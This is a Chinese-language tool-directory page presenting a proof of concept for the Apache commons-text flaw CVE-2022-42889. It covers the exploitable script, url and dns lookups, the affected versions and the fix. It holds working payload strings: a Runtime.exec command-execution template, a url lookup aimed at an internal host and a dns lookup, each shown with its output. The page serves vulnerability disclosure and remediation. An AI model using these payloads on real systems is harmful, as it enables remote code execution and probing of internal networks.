Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-42889-PoC — Apache commons-text 漏洞 CVE-2022-42889 的概念验证。 | Kitploit
工具/GitHubGitHub/seanwrightsec/cve-2022-42889-poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育
GitHubseanwrightsec/cve-2022-42889-poc

CVE-2022-42889-PoC

Apache commons-text 漏洞 CVE-2022-42889 的概念验证。

查看仓库
341723年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-42889 PoC

这是针对漏洞 CVE-2022-42889 的概念验证代码。此代码将运行 JavaScript 代码 195 + 324。如果存在漏洞,输出应为:

root@kitploit:~
PoC Output: 519

要运行此代码,你需要:

  • JDK 11 或以上版本
  • Maven

当提示输入漏洞利用字符串时,你可以提供自己的漏洞利用字符串(然后按 Enter 输入字符串),或者直接按 Enter 使用默认的漏洞利用字符串 ${script:javascript:195 + 324}。

Docker

或者你也可以使用 Docker 来运行此 PoC:

root@kitploit:~
docker build -t poc .
docker run -it poc

问题是什么?

问题源于以下键默认不应被插值(根据文档 https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):

  • script
  • dns
  • url

script

此查找允许执行提供的 JavaScript 代码。结果是攻击者能够在系统上执行任意代码。

格式

root@kitploit:~
${script:<engine>:<code>}

示例

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}

PoC 中的示例:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================

url

此查找调用指定的 URL。攻击者可利用此功能对内部资源执行基本的 GET 请求。

格式

root@kitploit:~
${url:<character-encoding>:<url>}

示例

root@kitploit:~
${url:UTF-8::https://internal-jenkins.companyx.net/}

PoC 中的示例:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================

dns

此查找执行 DNS 查询或反向查找。攻击者可利用此功能识别内部资源。

格式

root@kitploit:~
${dns:<address,canonical-name,name>|<host>}

示例

root@kitploit:~
${dns:address|internal-jenkins.companyx.net}

PoC 中的示例:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${dns:address|www.google.com}                                                         
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================

然而,由于逻辑缺陷,这三个键默认被插值,而它们不应如此(因为它们可能构成安全风险)。

风险是什么?

控制传递给受影响 StringSubstitutor 替换的字符串的攻击者可能:

  • 在系统(通常是服务器)上执行执行 StringSubstitutor 代码的 JavaScript 代码
  • 从受影响的系统连接到其他服务器
  • 从受影响的系统可能访问其他远程资源

我是否受影响?

要使代码易受攻击,你需要:

  • 运行的 Apache commons-text 版本从 1.5.0 到(不包括)1.10.0

  • 对字符串替换使用了插值(参见 https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)

  • 注意:在 JDK 15 及更高版本中,JavaScript 引擎 Nashorn 不再包含。但 JEXL 引擎仍然包含,因此 RCE 仍可能实现。

    (感谢 rgmz 指出这一点)

官方修复

解决方法是更新你的 commons-text 实例到 1.10.0 或更高版本。

注意

其他默认查找仍可能构成安全风险(例如读取文件内容、读取系统属性等)。请谨慎使用此功能,并确保所有用户输入均已适当清理(例如通过白名单)。

下载工具